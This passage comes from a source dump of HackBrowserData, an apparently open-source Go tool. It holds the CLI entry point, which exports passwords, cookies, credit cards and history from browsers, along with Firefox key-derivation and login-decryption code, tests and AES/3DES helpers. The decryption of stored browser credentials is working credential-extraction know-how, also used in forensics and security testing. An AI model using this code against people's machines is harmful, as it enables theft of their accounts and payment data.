fillFirefox(originKey, key, value string) {\n\t// originKey = moc.buhtig.:https:443\n\tp := strings.Split(originKey, \":\")\n\th := typeutil.Reverse([]byte(p[0]))\n\tif bytes.HasPrefix(h, []byte(\".\")) {\n\t\th = h[1:]\n\t}\n\tif len(p) == 3 {\n\t\ts.URL = fmt.Sprintf(\"%s://%s:%s\", p[1], string(h), p[2])\n\t}\n\ts.Key = key\n\ts.Value = value\n}\n\nfunc (f *FirefoxSessionStorage) Name() string {\n\treturn \"sessionStorage\"\n}\n\nfunc (f *FirefoxSessionStorage) Len() int {\n\treturn len(*f)\n}\n"
  },
  {
    "path": "cmd/hack-browser-data/main.go",
    "content": "package main\n\nimport (\n\t\"os\"\n\n\t\"github.com/urfave/cli/v2\"\n\n\t\"github.com/moond4rk/hackbrowserdata/browser\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/fileutil\"\n)\n\nvar (\n\tbrowserName  string\n\toutputDir    string\n\toutputFormat string\n\tverbose      bool\n\tcompress     bool\n\tprofilePath  string\n\tisFullExport bool\n)\n\nfunc main() {\n\tExecute()\n}\n\nfunc Execute() {\n\tapp := &cli.App{\n\t\tName:      \"hack-browser-data\",\n\t\tUsage:     \"Export passwords|bookmarks|cookies|history|credit cards|download history|localStorage|extensions from browser\",\n\t\tUsageText: \"[hack-browser-data -b chrome -f json --dir results --zip]\\nExport all browsing data (passwords/cookies/history/bookmarks) from browser\\nGithub Link: https://github.com/moonD4rk/HackBrowserData\",\n\t\tVersion:   \"0.5.0\",\n\t\tFlags: []cli.Flag{\n\t\t\t&cli.BoolFlag{Name: \"verbose\", Aliases: []string{\"vv\"}, Destination: &verbose, Value: false, Usage: \"verbose\"},\n\t\t\t&cli.BoolFlag{Name: \"compress\", Aliases: []string{\"zip\"}, Destination: &compress, Value: false, Usage: \"compress result to zip\"},\n\t\t\t&cli.StringFlag{Name: \"browser\", Aliases: []string{\"b\"}, Destination: &browserName, Value: \"all\", Usage: \"available browsers: all|\" + browser.Names()},\n\t\t\t&cli.StringFlag{Name: \"results-dir\", Aliases: []string{\"dir\"}, Destination: &outputDir, Value: \"results\", Usage: \"export dir\"},\n\t\t\t&cli.StringFlag{Name: \"format\", Aliases: []string{\"f\"}, Destination: &outputFormat, Value: \"csv\", Usage: \"output format: csv|json\"},\n\t\t\t&cli.StringFlag{Name: \"profile-path\", Aliases: []string{\"p\"}, Destination: &profilePath, Value: \"\", Usage: \"custom profile dir path, get with chrome://version\"},\n\t\t\t&cli.BoolFlag{Name: \"full-export\", Aliases: []string{\"full\"}, Destination: &isFullExport, Value: true, Usage: \"is export full browsing data\"},\n\t\t},\n\t\tHideHelpCommand: true,\n\t\tAction: func(c *cli.Context) error {\n\t\t\tif verbose {\n\t\t\t\tlog.SetVerbose()\n\t\t\t}\n\t\t\tbrowsers, err := browser.PickBrowsers(browserName, profilePath)\n\t\t\tif err != nil {\n\t\t\t\tlog.Errorf(\"pick browsers %v\", err)\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfor _, b := range browsers {\n\t\t\t\tdata, err := b.BrowsingData(isFullExport)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Errorf(\"get browsing data error %v\", err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tdata.Output(outputDir, b.Name(), outputFormat)\n\t\t\t}\n\n\t\t\tif compress {\n\t\t\t\tif err = fileutil.CompressDir(outputDir); err != nil {\n\t\t\t\t\tlog.Errorf(\"compress error %v\", err)\n\t\t\t\t}\n\t\t\t\tlog.Debug(\"compress success\")\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\terr := app.Run(os.Args)\n\tif err != nil {\n\t\tlog.Fatalf(\"run app error %v\", err)\n\t}\n}\n"
  },
  {
    "path": "crypto/asn1pbe.go",
    "content": "package crypto\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha1\"\n\t\"crypto/sha256\"\n\t\"encoding/asn1\"\n\t\"errors\"\n)\n\ntype ASN1PBE interface {\n\tDecrypt(globalSalt []byte) ([]byte, error)\n\n\tEncrypt(globalSalt, plaintext []byte) ([]byte, error)\n}\n\nfunc NewASN1PBE(b []byte) (pbe ASN1PBE, err error) {\n\tvar (\n\t\tnss   nssPBE\n\t\tmeta  metaPBE\n\t\tlogin loginPBE\n\t)\n\tif _, err := asn1.Unmarshal(b, &nss); err == nil {\n\t\treturn nss, nil\n\t}\n\tif _, err := asn1.Unmarshal(b, &meta); err == nil {\n\t\treturn meta, nil\n\t}\n\tif _, err := asn1.Unmarshal(b, &login); err == nil {\n\t\treturn login, nil\n\t}\n\treturn nil, ErrDecodeASN1Failed\n}\n\nvar ErrDecodeASN1Failed = errors.New(\"decode ASN1 data failed\")\n\n// nssPBE Struct\n//\n//\tSEQUENCE (2 elem)\n//\t\tOBJECT IDENTIFIER\n//\t\tSEQUENCE (2 elem)\n//\t\t\tOCTET STRING (20 byte)\n//\t\t\tINTEGER 1\n//\tOCTET STRING (16 byte)\ntype nssPBE struct {\n\tAlgoAttr struct {\n\t\tasn1.ObjectIdentifier\n\t\tSaltAttr struct {\n\t\t\tEntrySalt []byte\n\t\t\tLen       int\n\t\t}\n\t}\n\tEncrypted []byte\n}\n\n// Decrypt decrypts the encrypted password with the global salt.\nfunc (n nssPBE) Decrypt(globalSalt []byte) ([]byte, error) {\n\tkey, iv := n.deriveKeyAndIV(globalSalt)\n\n\treturn DES3Decrypt(key, iv, n.Encrypted)\n}\n\nfunc (n nssPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {\n\tkey, iv := n.deriveKeyAndIV(globalSalt)\n\n\treturn DES3Encrypt(key, iv, plaintext)\n}\n\n// deriveKeyAndIV derives the key and initialization vector (IV)\n// from the global salt and entry salt.\nfunc (n nssPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {\n\tsalt := n.AlgoAttr.SaltAttr.EntrySalt\n\thashPrefix := sha1.Sum(globalSalt)\n\tcompositeHash := sha1.Sum(append(hashPrefix[:], salt...))\n\tpaddedEntrySalt := paddingZero(salt, 20)\n\n\thmacProcessor := hmac.New(sha1.New, compositeHash[:])\n\thmacProcessor.Write(paddedEntrySalt)\n\n\tpaddedEntrySalt = append(paddedEntrySalt, salt...)\n\tkeyComponent1 := hmac.New(sha1.New, compositeHash[:])\n\tkeyComponent1.Write(paddedEntrySalt)\n\n\thmacWithSalt := append(hmacProcessor.Sum(nil), salt...)\n\tkeyComponent2 := hmac.New(sha1.New, compositeHash[:])\n\tkeyComponent2.Write(hmacWithSalt)\n\n\tkey := append(keyComponent1.Sum(nil), keyComponent2.Sum(nil)...)\n\tiv := key[len(key)-8:]\n\treturn key[:24], iv\n}\n\n// MetaPBE Struct\n//\n//\tSEQUENCE (2 elem)\n//\t\tOBJECT IDENTIFIER\n//\t    SEQUENCE (2 elem)\n//\t    SEQUENCE (2 elem)\n//\t      \tOBJECT IDENTIFIER\n//\t       \tSEQUENCE (4 elem)\n//\t       \tOCTET STRING (32 byte)\n//\t      \t\tINTEGER 1\n//\t       \t\tINTEGER 32\n//\t       \t\tSEQUENCE (1 elem)\n//\t          \tOBJECT IDENTIFIER\n//\t    SEQUENCE (2 elem)\n//\t      \tOBJECT IDENTIFIER\n//\t      \tOCTET STRING (14 byte)\n//\tOCTET STRING (16 byte)\ntype metaPBE struct {\n\tAlgoAttr  algoAttr\n\tEncrypted []byte\n}\n\ntype algoAttr struct {\n\tasn1.ObjectIdentifier\n\tData struct {\n\t\tData struct {\n\t\t\tasn1.ObjectIdentifier\n\t\t\tSlatAttr slatAttr\n\t\t}\n\t\tIVData ivAttr\n\t}\n}\n\ntype ivAttr struct {\n\tasn1.ObjectIdentifier\n\tIV []byte\n}\n\ntype slatAttr struct {\n\tEntrySalt      []byte\n\tIterationCount int\n\tKeySize        int\n\tAlgorithm      struct {\n\t\tasn1.ObjectIdentifier\n\t}\n}\n\nfunc (m metaPBE) Decrypt(globalSalt []byte) ([]byte, error) {\n\tkey, iv := m.deriveKeyAndIV(globalSalt)\n\n\treturn AES128CBCDecrypt(key, iv, m.Encrypted)\n}\n\nfunc (m metaPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {\n\tkey, iv := m.deriveKeyAndIV(globalSalt)\n\n\treturn AES128CBCEncrypt(key, iv, plaintext)\n}\n\nfunc (m metaPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {\n\tpassword := sha1.Sum(globalSalt)\n\n\tsalt := m.AlgoAttr.Data.Data.SlatAttr.EntrySalt\n\titer := m.AlgoAttr.Data.Data.SlatAttr.IterationCount\n\tkeyLen := m.AlgoAttr.Data.Data.SlatAttr.KeySize\n\n\tkey := PBKDF2Key(password[:], salt, iter, keyLen, sha256.New)\n\tiv := append([]byte{4, 14}, m.AlgoAttr.Data.IVData.IV...)\n\treturn key, iv\n}\n\n// loginPBE Struct\n//\n//\tOCTET STRING (16 byte)\n//\tSEQUENCE (2 elem)\n//\t\t\tOBJECT IDENTIFIER\n//\t\t\tOCTET STRING (8 byte)\n//\tOCTET STRING (16 byte)\ntype loginPBE struct {\n\tCipherText []byte\n\tData       struct {\n\t\tasn1.ObjectIdentifier\n\t\tIV []byte\n\t}\n\tEncrypted []byte\n}\n\nfunc (l loginPBE) Decrypt(globalSalt []byte) ([]byte, error) {\n\tkey, iv := l.deriveKeyAndIV(globalSalt)\n\t// The encryption algorithm can be reliably inferred from IV length:\n\t// - 8 bytes  : 3DES-CBC (legacy Firefox versions)\n\t// - 16 bytes : AES-CBC (Firefox 144+)\n\tif len(iv) == 8 {\n\t\t// Use 3DES for old Firefox versions\n\t\treturn DES3Decrypt(key[:24], iv, l.Encrypted)\n\t} else if len(iv) == 16 {\n\t\t// Firefox 144+ uses 32-byte keys (AES-256-CBC)\n\t\t// Note: AES128CBCDecrypt is a misnomer - it actually supports all AES key lengths\n\t\treturn AES128CBCDecrypt(key, iv, l.Encrypted)\n\t}\n\n\treturn nil, errors.New(\"unsupported IV length for loginPBE decryption\")\n}\n\nfunc (l loginPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {\n\tkey, iv := l.deriveKeyAndIV(globalSalt)\n\t// The encryption algorithm can be reliably inferred from IV length:\n\t// - 8 bytes  : 3DES-CBC (legacy Firefox versions)\n\t// - 16 bytes : AES-CBC (Firefox 144+)\n\t// This avoids relying on NSS-specific OIDs, which have changed historically.\n\tif len(iv) == 8 {\n\t\t// Use 3DES for old Firefox versions\n\t\treturn DES3Encrypt(key[:24], iv, plaintext)\n\t} else if len(iv) == 16 {\n\t\t// Firefox 144+ uses 32-byte keys (AES-256-CBC)\n\t\t// Note: AES128CBCDecrypt is a misnomer - it actually supports all AES key lengths\n\t\treturn AES128CBCEncrypt(key, iv, plaintext)\n\t}\n\n\treturn nil, errors.New(\"unsupported IV length for loginPBE encryption\")\n}\n\nfunc (l loginPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {\n\treturn globalSalt, l.Data.IV\n}\n"
  },
  {
    "path": "crypto/asn1pbe_test.go",
    "content": "package crypto\n\nimport (\n\t\"bytes\"\n\t\"encoding/asn1\"\n\t\"encoding/hex\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nvar (\n\tpbeIV               = []byte(\"01234567\") // 8 bytes\n\tpbePlaintext        = []byte(\"Hello, World!\")\n\tpbeCipherText       = []byte{0xf8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1}\n\tobjWithMD5AndDESCBC = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 5, 3}\n\tobjWithSHA256AndAES = asn1.ObjectIdentifier{2, 16, 840, 1, 101, 3, 4, 1, 46}\n\tobjWithSHA1AndAES   = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 5, 13}\n\tnssPBETestCases     = []struct {\n\t\tRawHexPBE        string\n\t\tGlobalSalt       []byte\n\t\tEncrypted        []byte\n\t\tIterationCount   int\n\t\tLen              int\n\t\tPlaintext        []byte\n\t\tObjectIdentifier asn1.ObjectIdentifier\n\t}{\n\t\t{\n\t\t\tRawHexPBE:        \"303e302a06092a864886f70d01050d301d04186d6f6f6e6434726b6d6f6f6e6434726b6d6f6f6e6434726b020114041095183a14c752e7b1d0aaa47f53e05097\",\n\t\t\tGlobalSalt:       bytes.Repeat([]byte(baseKey), 3),\n\t\t\tEncrypted:        []byte{0x95, 0x18, 0x3a, 0x14, 0xc7, 0x52, 0xe7, 0xb1, 0xd0, 0xaa, 0xa4, 0x7f, 0x53, 0xe0, 0x50, 0x97},\n\t\t\tPlaintext:        pbePlaintext,\n\t\t\tIterationCount:   1,\n\t\t\tLen:              32,\n\t\t\tObjectIdentifier: objWithSHA1AndAES,\n\t\t},\n\t}\n\tmetaPBETestCases = []struct {\n\t\tRawHexPBE        string\n\t\tGlobalSalt       []byte\n\t\tEncrypted        []byte\n\t\tIV               []byte\n\t\tPlaintext        []byte\n\t\tObjectIdentifier asn1.ObjectIdentifier\n\t}{\n\t\t{\n\t\t\tRawHexPBE:        \"307a3066060960864801650304012e3059303a060960864801650304012e302d04186d6f6f6e6434726b6d6f6f6e6434726b6d6f6f6e6434726b020101020120300b060960864801650304012e301b060960864801650304012e040e303132333435363730313233343504100474679f2e6256518b7adb877beaa154\",\n\t\t\tGlobalSalt:       bytes.Repeat([]byte(baseKey), 3),\n\t\t\tEncrypted:        []byte{0x4, 0x74, 0x67, 0x9f, 0x2e, 0x62, 0x56, 0x51, 0x8b, 0x7a, 0xdb, 0x87, 0x7b, 0xea, 0xa1, 0x54},\n\t\t\tIV:               bytes.Repeat(pbeIV, 2)[:14],\n\t\t\tPlaintext:        pbePlaintext,\n\t\t\tObjectIdentifier: objWithSHA256AndAES,\n\t\t},\n\t}\n\tloginPBETestCases = []struct {\n\t\tRawHexPBE        string\n\t\tGlobalSalt       []byte\n\t\tEncrypted        []byte\n\t\tIV               []byte\n\t\tPlaintext        []byte\n\t\tObjectIdentifier asn1.ObjectIdentifier\n\t}{\n\t\t{\n\t\t\tRawHexPBE:        \"303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45\",\n\t\t\tEncrypted:        []byte{0xfe, 0x96, 0x8b, 0x65, 0x65, 0x14, 0x91, 0x14, 0xea, 0x68, 0x8d, 0xef, 0xd6, 0x68, 0x3e, 0x45},\n\t\t\tGlobalSalt:       bytes.Repeat([]byte(baseKey), 3),\n\t\t\tIV:               pbeIV,\n\t\t\tPlaintext:        pbePlaintext,\n\t\t\tObjectIdentifier: objWithMD5AndDESCBC,\n\t\t},\n\t}\n)\n\nfunc TestNewASN1PBE(t *testing.T) {\n\tfor _, tc := range nssPBETestCases {\n\t\tnssRaw, err := hex.DecodeString(tc.RawHexPBE)\n\t\tassert.Equal(t, nil, err)\n\t\tpbe, err := NewASN1PBE(nssRaw)\n\t\tassert.Equal(t, nil, err)\n\t\tnssPBETC, ok := pbe.(nssPBE)\n\t\tassert.Equal(t, true, ok)\n\t\tassert.Equal(t, nssPBETC.Encrypted, tc.Encrypted)\n\t\tassert.Equal(t, nssPBETC.AlgoAttr.SaltAttr.EntrySalt, tc.GlobalSalt)\n\t\tassert.Equal(t, nssPBETC.AlgoAttr.SaltAttr.Len, 20)\n\t\tassert.Equal(t, nssPBETC.AlgoAttr.ObjectIdentifier, tc.ObjectIdentifier)\n\t}\n}\n\nfunc TestNssPBE_Encrypt(t *testing.T) {\n\tfor _, tc := range nssPBETestCases {\n\t\tnssPBETC := nssPBE{\n\t\t\tEncrypted: tc.Encrypted,\n\t\t\tAlgoAttr: struct {\n\t\t\t\tasn1.ObjectIdentifier\n\t\t\t\tSaltAttr struct {\n\t\t\t\t\tEntrySalt []byte\n\t\t\t\t\tLen       int\n\t\t\t\t}\n\t\t\t}{\n\t\t\t\tObjectIdentifier: tc.ObjectIdentifier,\n\t\t\t\tSaltAttr: struct {\n\t\t\t\t\tEntrySalt []byte\n\t\t\t\t\tLen       int\n\t\t\t\t}{\n\t\t\t\t\tEntrySalt: tc.GlobalSalt,\n\t\t\t\t\tLen:       20,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t\tencrypted, err := nssPBETC.Encrypt(tc.GlobalSalt, tc.Plaintext)\n\t\tassert.Equal(t, nil, err)\n\t\tassert.Equal(t, true, len(encrypted) > 0)\n\t\tassert.Equal(t, nssPBETC.Encrypted, encrypted)\n\t}\n}\n\nfunc TestNssPBE_Decrypt(t *testing.T) {\n\tfor _, tc := range nssPBETestCases {\n\t\tnssPBETC := nssPBE{\n\t\t\tEncrypted: tc.Encrypted,\n\t\t\tAlgoAttr: struct {\n\t\t\t\tasn1.ObjectIdentifier\n\t\t\t\tSaltAttr struct {\n\t\t\t\t\tEntrySalt []byte\n\t\t\t\t\tLen       int\n\t\t\t\t}\n\t\t\t}{\n\t\t\t\tObjectIdentifier: tc.ObjectIdentifier,\n\t\t\t\tSaltAttr: struct {\n\t\t\t\t\tEntrySalt []byte\n\t\t\t\t\tLen       int\n\t\t\t\t}{\n\t\t\t\t\tEntrySalt: tc.GlobalSalt,\n\t\t\t\t\tLen:       20,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t\tdecrypted, err := nssPBETC.Decrypt(tc.GlobalSalt)\n\t\tassert.Equal(t, nil, err)\n\t\tassert.Equal(t, true, len(decrypted) > 0)\n\t\tassert.Equal(t, pbePlaintext, decrypted)\n\t}\n}\n\nfunc TestNewASN1PBE_MetaPBE(t *testing.T) {\n\tfor _, tc := range metaPBETestCases {\n\t\tmetaRaw, err := hex.DecodeString(tc.RawHexPBE)\n\t\tassert.Equal(t, nil, err)\n\t\tpbe, err := NewASN1PBE(metaRaw)\n\t\tassert.Equal(t, nil, err)\n\t\tmetaPBETC, ok := pbe.(metaPBE)\n\t\tassert.Equal(t, true, ok)\n\t\tassert.Equal(t, metaPBETC.Encrypted, tc.Encrypted)\n\t\tassert.Equal(t, metaPBETC.AlgoAttr.Data.IVData.IV, tc.IV)\n\t\tassert.Equal(t, metaPBETC.AlgoAttr.Data.IVData.ObjectIdentifier, objWithSHA256AndAES)\n\t}\n}\n\nfunc TestMetaPBE_Encrypt(t *testing.T) {\n\tfor _, tc := range metaPBETestCases {\n\t\tmetaPBETC := metaPBE{\n\t\t\tAlgoAttr: algoAttr{\n\t\t\t\tObjectIdentifier: tc.ObjectIdentifier,\n\t\t\t\tData: struct {\n\t\t\t\t\tData struct {\n\t\t\t\t\t\tasn1.ObjectIdentifier\n\t\t\t\t\t\tSlatAttr slatAttr\n\t\t\t\t\t}\n\t\t\t\t\tIVData ivAttr\n\t\t\t\t}{\n\t\t\t\t\tData: struct {\n\t\t\t\t\t\tasn1.ObjectIdentifier\n\t\t\t\t\t\tSlatAttr slatAttr\n\t\t\t\t\t}{\n\t\t\t\t\t\tObjectIdentifier: tc.ObjectIdentifier,\n\t\t\t\t\t\tSlatAttr: slatAttr{\n\t\t\t\t\t\t\tEntrySalt:      tc.GlobalSalt,\n\t\t\t\t\t\t\tIterationCount: 1,\n\t\t\t\t\t\t\tKeySize:        32,\n\t\t\t\t\t\t\tAlgorithm: struct {\n\t\t\t\t\t\t\t\tasn1.ObjectIdentifier\n\t\t\t\t\t\t\t}{\n\t\t\t\t\t\t\t\tObjectIdentifier: tc.ObjectIdentifier,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tIVData: ivAttr{\n\t\t\t\t\t\tObjectIdentifier: tc.ObjectIdentifier,\n\t\t\t\t\t\tIV:               tc.IV,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tEncrypted: tc.Encrypted,\n\t\t}\n\t\tencrypted, err := metaPBETC.Encrypt(tc.GlobalSalt, tc.Plaintext)\n\t\tassert.Equal(t, nil, err)\n\t\tassert.Equal(t, true, len(encrypted) > 0)\n\t\tassert.Equal(t, metaPBETC.Encrypted, encrypted)\n\t}\n}\n\nfunc TestMetaPBE_Decrypt(t *testing.T) {\n\tfor _, tc := range metaPBETestCases {\n\t\tmetaPBETC := metaPBE{\n\t\t\tAlgoAttr: algoAttr{\n\t\t\t\tObjectIdentifier: tc.ObjectIdentifier,\n\t\t\t\tData: struct {\n\t\t\t\t\tData struct {\n\t\t\t\t\t\tasn1.ObjectIdentifier\n\t\t\t\t\t\tSlatAttr slatAttr\n\t\t\t\t\t}\n\t\t\t\t\tIVData ivAttr\n\t\t\t\t}{\n\t\t\t\t\tData: struct {\n\t\t\t\t\t\tasn1.ObjectIdentifier\n\t\t\t\t\t\tSlatAttr slatAttr\n\t\t\t\t\t}{\n\t\t\t\t\t\tObjectIdentifier: tc.ObjectIdentifier,\n\t\t\t\t\t\tSlatAttr: slatAttr{\n\t\t\t\t\t\t\tEntrySalt:      tc.GlobalSalt,\n\t\t\t\t\t\t\tIterationCount: 1,\n\t\t\t\t\t\t\tKeySize:        32,\n\t\t\t\t\t\t\tAlgorithm: struct {\n\t\t\t\t\t\t\t\tasn1.ObjectIdentifier\n\t\t\t\t\t\t\t}{\n\t\t\t\t\t\t\t\tObjectIdentifier: tc.ObjectIdentifier,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tIVData: ivAttr{\n\t\t\t\t\t\tObjectIdentifier: tc.ObjectIdentifier,\n\t\t\t\t\t\tIV:               tc.IV,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tEncrypted: tc.Encrypted,\n\t\t}\n\t\tdecrypted, err := metaPBETC.Decrypt(tc.GlobalSalt)\n\t\tassert.Equal(t, nil, err)\n\t\tassert.Equal(t, true, len(decrypted) > 0)\n\t\tassert.Equal(t, pbePlaintext, decrypted)\n\t}\n}\n\nfunc TestNewASN1PBE_LoginPBE(t *testing.T) {\n\tfor _, tc := range loginPBETestCases {\n\t\tloginRaw, err := hex.DecodeString(tc.RawHexPBE)\n\t\tassert.Equal(t, nil, err)\n\t\tpbe, err := NewASN1PBE(loginRaw)\n\t\tassert.Equal(t, nil, err)\n\t\tloginPBETC, ok := pbe.(loginPBE)\n\t\tassert.Equal(t, true, ok)\n\t\tassert.Equal(t, loginPBETC.Encrypted, tc.Encrypted)\n\t\tassert.Equal(t, loginPBETC.Data.IV, tc.IV)\n\t\tassert.Equal(t, loginPBETC.Data.ObjectIdentifier, objWithMD5AndDESCBC)\n\t}\n}\n\nfunc TestLoginPBE_Encrypt(t *testing.T) {\n\tfor _, tc := range loginPBETestCases {\n\t\tloginPBETC := loginPBE{\n\t\t\tCipherText: pbeCipherText,\n\t\t\tData: struct {\n\t\t\t\tasn1.ObjectIdentifier\n\t\t\t\tIV []byte\n\t\t\t}{\n\t\t\t\tObjectIdentifier: tc.ObjectIdentifier,\n\t\t\t\tIV:               tc.IV,\n\t\t\t},\n\t\t\tEncrypted: tc.Encrypted,\n\t\t}\n\t\tencrypted, err := loginPBETC.Encrypt(tc.GlobalSalt, plainText)\n\t\tassert.Equal(t, nil, err)\n\t\tassert.Equal(t, true, len(encrypted) > 0)\n\t\tassert.Equal(t, loginPBETC.Encrypted, encrypted)\n\t}\n}\n\nfunc TestLoginPBE_Decrypt(t *testing.T) {\n\tfor _, tc := range loginPBETestCases {\n\t\tloginPBETC := loginPBE{\n\t\t\tCipherText: pbeCipherText,\n\t\t\tData: struct {\n\t\t\t\tasn1.ObjectIdentifier\n\t\t\t\tIV []byte\n\t\t\t}{\n\t\t\t\tObjectIdentifier: tc.ObjectIdentifier,\n\t\t\t\tIV:               tc.IV,\n\t\t\t},\n\t\t\tEncrypted: tc.Encrypted,\n\t\t}\n\t\tdecrypted, err := loginPBETC.Decrypt(tc.GlobalSalt)\n\t\tassert.Equal(t, nil, err)\n\t\tassert.Equal(t, true, len(decrypted) > 0)\n\t\tassert.Equal(t, pbePlaintext, decrypted)\n\t}\n}\n"
  },
  {
    "path": "crypto/crypto.go",
    "content": "package crypto\n\nimport (\n\t\"bytes\"\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/des\"\n\t\"errors\"\n\t\"fmt\"\n)\n\nvar ErrCiphertextLengthIsInvalid = errors.New(\"ciphertext length is invalid\")\n\n// AES128CBCDecrypt decrypts data using AES-CBC mode.\n// Note: Despite the function name, this supports all AES key sizes.\n// The Go standard library's aes.NewCipher automatically selects the AES variant\n// based on the key length: 16 bytes (AES-128), 24 bytes (AES-192), or 32 bytes (AES-256).\n// TODO: Rename to AESCBCDecrypt to avoid confusion about supported key lengths.\nfunc AES128CBCDecrypt(key, iv, ciphertext []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// Check ciphertext length\n\tif len(ciphertext) < aes.BlockSize {\n\t\treturn nil, errors.New(\"AES128CBCDecrypt: ciphertext too short\")\n\t}\n\tif len(ciphertext)%aes.BlockSize != 0 {\n\t\treturn nil, errors.New(\"AES128CBCDecrypt: ciphertext is not a multiple of the block size\")\n\t}\n\n\tdecryptedData := make([]byte, len(ciphertext))\n\tmode := cipher.NewCBCDecrypter(block, iv)\n\tmode.CryptBlocks(decryptedData, ciphertext)\n\n\t// unpad the decrypted data and handle potential padding errors\n\tdecryptedData, err = pkcs5UnPadding(decryptedData)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"AES128CBCDecrypt: %w\", err)\n\t}\n\n\treturn decryptedData, nil\n}\n\nfunc AES128CBCEncrypt(key, iv, plaintext []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(iv) != aes.BlockSize {\n\t\treturn nil, errors.New(\"AES128CBCEncrypt: iv length is invalid, must equal block size\")\n\t}\n\n\tplaintext = pkcs5Padding(plaintext, block.BlockSize())\n\tencryptedData := make([]byte, len(plaintext))\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(encryptedData, plaintext)\n\n\treturn encryptedData, nil\n}\n\nfunc DES3Decrypt(key, iv, ciphertext []byte) ([]byte, error) {\n\tblock, err := des.NewTripleDESCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(ciphertext) < des.BlockSize {\n\t\treturn nil, errors.New(\"DES3Decrypt: ciphertext too short\")\n\t}\n\tif len(ciphertext)%block.BlockSize() != 0 {\n\t\treturn nil, errors.New(\"DES3Decrypt: ciphertext is not a multiple of the block size\")\n\t}\n\n\tblockMode := cipher.NewCBCDecrypter(block, iv)\n\tsq := make([]byte, len(ciphertext))\n\tblockMode.CryptBlocks(sq, ciphertext)\n\n\treturn pkcs5UnPadding(sq)\n}\n\nfunc DES3Encrypt(key, iv, plaintext []byte) ([]byte, error) {\n\tblock, err := des.NewTripleDESCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tplaintext = pkcs5Padding(plaintext, block.BlockSize())\n\tdst := make([]byte, len(plaintext))\n\tblockMode := cipher.NewCBCEncrypter(block, iv)\n\tblockMode.CryptBlocks(dst, plaintext)\n\n\treturn dst, nil\n}\n\n// AESGCMDecrypt chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/sync/os_crypt_win.cc\nfunc AESGCMDecrypt(key, nounce, ciphertext []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tblockMode, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\torigData, err := blockMode.Open(nil, nounce, ciphertext, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn origData, nil\n}\n\n// AESGCMEncrypt encrypts plaintext using AES encryption in GCM mode.\nfunc AESGCMEncrypt(key, nonce, plaintext []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tblockMode, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// The first parameter is the prefix for the output, we can leave it nil.\n\t// The Seal method encrypts and authenticates the data, appending the result to the dst.\n\tencryptedData := blockMode.Seal(nil, nonce, plaintext, nil)\n\treturn encryptedData, nil\n}\n\nfunc paddingZero(src []byte, length int) []byte {\n\tpadding := length - len(src)\n\tif padding <= 0 {\n\t\treturn src\n\t}\n\treturn append(src, make([]byte, padding)...)\n}\n\nfunc pkcs5UnPadding(src []byte) ([]byte, error) {\n\tlength := len(src)\n\tif length == 0 {\n\t\treturn nil, errors.New(\"pkcs5UnPadding: src should not be empty\")\n\t}\n\tpadding := int(src[length-1])\n\tif padding < 1 || padding > aes.BlockSize {\n\t\treturn nil, errors.New(\"pkcs5UnPadding: invalid padding size\")\n\t}\n\tif padding > length {\n\t\treturn nil, errors.New(\"pkcs5UnPadding: invalid padding length\")\n\t}\n\tfor _, b := range src[length-padding:] {\n\t\tif int(b) != padding {\n\t\t\treturn nil, errors.New(\"pkcs5UnPadding: invalid padding content\")\n\t\t}\n\t}\n\treturn src[:length-padding], nil\n}\n\nfunc pkcs5Padding(src []byte, blocksize int) []byte {\n\tpadding := blocksize - (len(src) % blocksize)\n\tpadText := bytes.Repeat([]byte{byte(padding)}, padding)\n\treturn append(src, padText...)\n}\n"
  },
  {
    "path": "crypto/crypto_darwin.go",
